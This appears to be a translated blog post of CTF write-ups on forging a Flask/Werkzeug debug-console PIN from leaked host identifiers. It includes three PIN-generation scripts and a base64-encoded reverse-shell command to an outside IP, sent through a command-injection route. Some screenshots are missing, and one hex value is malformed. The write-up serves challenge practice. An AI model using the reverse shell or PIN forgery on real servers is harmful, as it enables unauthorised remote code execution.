flask calculates the pin code

Flask debug mode counts pin code_Ys3ter's blog-CSDN blog_flask pin code

You can refer to this link

ctfshow801

Then this picture is very important

That is, we need the above factors, and then get the ping code, which is the password of the console, and then we can output the command by ourselves

Then there will be two scripts, one is 3.6 encrypted by md5, and the other is 3.8 encrypted by sha1

#MD5
import hashlib
from itertools import chain
probably_public_bits = [
     'flaskweb'# username
     'flask.app',# modname
     'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
     '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
     '25214234362297',# str(uuid.getnode()),  /sys/class/net/ens33/address
     '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
   h.update(b'pinsalt')
   num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
   for group_size in 5, 4, 3:
       if len(num) % group_size == 0:
          rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                      for x in range(0, len(num), group_size))
          break
       else:
          rv = num

print(rv)
#sha1
import hashlib
from itertools import chain
probably_public_bits = [
    'root'# /etc/passwd
    'flask.app',# Defaults
    'Flask',# Defaults
    '/usr/local/lib/python3.8/site-packages/flask/app.py' # Get an error
]

private_bits = [
    '2485377585864',#  /sys/class/net/eth0/address hexadecimal to decimal
    #machine_id is merged by three (docker is the last two): 1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
    'ab5474dd-e22b-45df-8316-7ad4e11f978ae78714841cdc523ece942e68660c9777ad13a358f5ea71a8e1d1424efe9a8400'#  /proc/self/cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

Start doing questions:

I saw the absolute address, and python3.8 so use the following script to calculate the ping code

Get it step by step

/etc/passwd get username

Then just follow the acquisition, pay attention to the machine id here

needs to be spliced

The latter are the same here, so you don’t have to think too much, just pick one at random, and then set the script

 

To convert decimal, use Google's console

 

Import the os module, where \n is a newline, almost thought the flag file was nflag haha

ShadowFlag

Open the interface is the source code,

from flask import Flask, request
import os
from time import sleep

app = Flask(__name__)

flag1 = open("/tmp/flag1.txt", "r")   #open a file
with open("/tmp/flag2.txt", "r") as f:
    flag2 = f.read()   #flag2 should be the value of flag1.txt
tag = False

 
@app.route("/")   #routing
def index():
    with open("app.py", "r+") as f://Read the value of app.py, so we can see the return below the source code
        return f.read()


@app.route("/shell", methods=['POST'])#/shell routing post parameter passing
def shell():
    global tag    #tag global variable
    if tag != True:  #tag is false to enter
        global flag1  #flag1 is a global variable
        del flag1  #delete flag1
        tag = True   #assignment
    os.system("rm -f /tmp/flag1.txt /tmp/flag2.txt")#Command to delete two files
    action = request.form["act"]   #Get post parameter
    if action.find(" ") != -1: # no spaces
        return "Nonono"
    else:
        os.system(action) #There will be command execution here, it should be available, after all act is controllable
    return "Wow"


@app.errorhandler(404)
def error_date(error):
    sleep(5)
    return "Sweep, sweep, what is the Oriental Pearl?[angry]"


if __name__ == "__main__":
    app.run()

So now our idea is to pass parameters in post and execute it

According to the code, I know: two flag files, I feel that the flag is divided into two sections, and then a section of flag1 is deleted, and flag2 still exists

act=echo%09YmFzaCAtaSAmPiAvZGV2L3RjcC8xMTAuNDAuMTkzLjIwMi85OTk5IDA%2bJjE=|base64%09-d|bash

In fact, this is a direct access to the console. This step has not been thought of at all, and others have guessed it directly.

 

Get through and find that ctf is the username

 

Then convert to decimal 2485376947610

a4473a34-a602-43b3-bd38-c11e15f45ae7

 42f44ee9fdafb6557e4b39ff62e0aa5df78925533340fa7c067roaeff31dd90665

and then splice

Check the conditions and found that there is still an absolute address missing

All processes will be opened, which will also be included here. The general process number of the file opened but not closed normally, and then directly deleted is 15-18

 

Found the process where flag1.txt was deleted, so we

is the third of them and then reads 

Then this error page, as long as we are not the act of passing parameters, there will be an error, and then we get the absolute address

#sha1
import hashlib
from itertools import chain
probably_public_bits = [
    'ctf',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485376947675',# str(uuid.getnode()),  /sys/class/net/ens33/address
    'e0ad2d31-1d21-4f57-b1c5-4a9036fbf23516921067cd405eaa654013ea6a0ba8784e311ba26d783724d39843827fce654f'# get_machine_id(), /etc/machine-id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

get pin code

Because the flag2 in the source code has not been deleted, it can be directly output

Explain why in the process:

flag1 = open("/tmp/flag1.txt", "r") #open file
with open("/tmp/flag2.txt", "r") as f:
flag2 = f.read() #flag2 should be the value of flag1.txt
tag = False

flag1.txt is only opened and not closed, and flag2.txt will be closed normally, so it will not appear in the process

Reference link: GitHub - Randark-JMT/NSSCTF-Round_v7-ShadowFlag: A reverse challenge in NSSCTF Round#7

Tags: Back-end Python Flask

Posted by warstormer on Sun, 05 Feb 2023 19:18:28 +1030